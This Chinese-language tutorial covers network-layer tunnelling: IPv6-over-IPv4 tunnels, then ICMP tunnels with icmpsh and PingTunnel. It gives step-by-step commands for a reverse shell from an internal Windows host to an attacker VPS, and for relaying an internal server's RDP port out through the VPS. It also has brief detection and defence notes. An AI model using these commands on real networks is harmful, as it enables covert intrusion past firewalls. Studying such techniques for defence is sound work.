网络层隧道技术
1 IPv6隧道
1.1 技术简介
IPv6隧道技术指的是通过IPv4隧道传送IPv6数据报文的技术,为了在IPv4的海洋中传输IPv6信息,可以将IPv4作为隧道载体,将IPv6报文整体封装在IPv4数据报文中,使IPv6能够穿越IPv4的海洋,到达另一个IPv6小岛。
ipv6隧道技术是指通过ipv4隧道传送ipv6数据报文的技术。攻击者有时会通过恶意软件来配置允许运行ipv6通信的设备,以避开防火墙和入侵检测系统。有一点需要指出:即使设备支持ipv6,也可能无法正确地分析封装了ipv6报文的ipv4数据包。
支持IPv6的隧道工具有socat、6tunnel、nt6tunnel等。
1.2 防御ipv6 隧道攻击的方法
针对ipv6隧道攻击,最好的防御方法是:了解ipv6的具体漏洞,结合其他协议,通过防火墙和深度防御系统过滤ipv6通信,提高主机和应用程序的安全性。
2 ICMP隧道
2.1 icmpsh
工具 icmpsh,从机(客户端)只能在 Windows 上运行,而主机(服务器)可以在攻击者机器上的任何平台上运行。
下载地址:https://github.com/inquisb/icmpsh.git
安装python-impacket类库:
1 | apt-get install python-impacket |
关闭系统的ICMP应答(也就是禁ping):
1 | sysctl -w net.ipv4.icmp_echo_ignore_all=1 |
VPS执行:
1 | ./icmpsh_m.py <外网VPS> <内网出口IP> |
内网服务器执行:
1 | icmpsh.exe -t <外网VPS> |
2.2 pingtunnel
PingTunnel也是一款常用的ICMP隧道工具,可以跨平台使用。为了避免隧道被滥用,可以为隧道设置密码。
下载地址:http://freshmeat.sourceforge.net/projects/ptunnel/
首先要安装工具
1 | wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz |
如果报pcap.h缺失:
1 | wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz |
安装中出现yacc包错误
1 | sudo apt-get install -y byacc |
最后一步过程中又会报Neither flex nor lex was found的错误:
1 | apt-get install flex bison |
继续执行
1 | ./configure |
回到pingtunnel目录重新执行
1 | make && make install |
在web服务器运行命令
1 | ptunnel -x pass |
在vps(攻击机)上运行ptunnel
1 | ptunnel -p <web服务器外网ip> -lp 1080 -da <域中内网服务器ip> -dp 3389 -x pass |
接下来访问vps(攻击机)的1080端口便可以连接到数据库服务器的远程桌面了(3389)
1 | <vps的ip>:1080 |
PingTunnel工具在Windows环境中也可以使用,只不过需要在内网的Windows机器上安装wincap类库。
2.3 防御icmcp隧道攻击的方法
- 检测同一来源的icmp数据包的数量。一个正常的ping命令每秒最多发送两个数据包,而使用icmp隧道的浏览器会在很短的时间内产生上千个icmp数据包。
- 注意那些payload大与64bit的icmp数据包。
- 寻找响应数据包中的payload与请求数据包中的playload不一致的icmp数据包。
- 检查icmp数据包协议,icmptunnel会在所有的icmp playload前面添加“TUNL来标识隧道–这就是特征。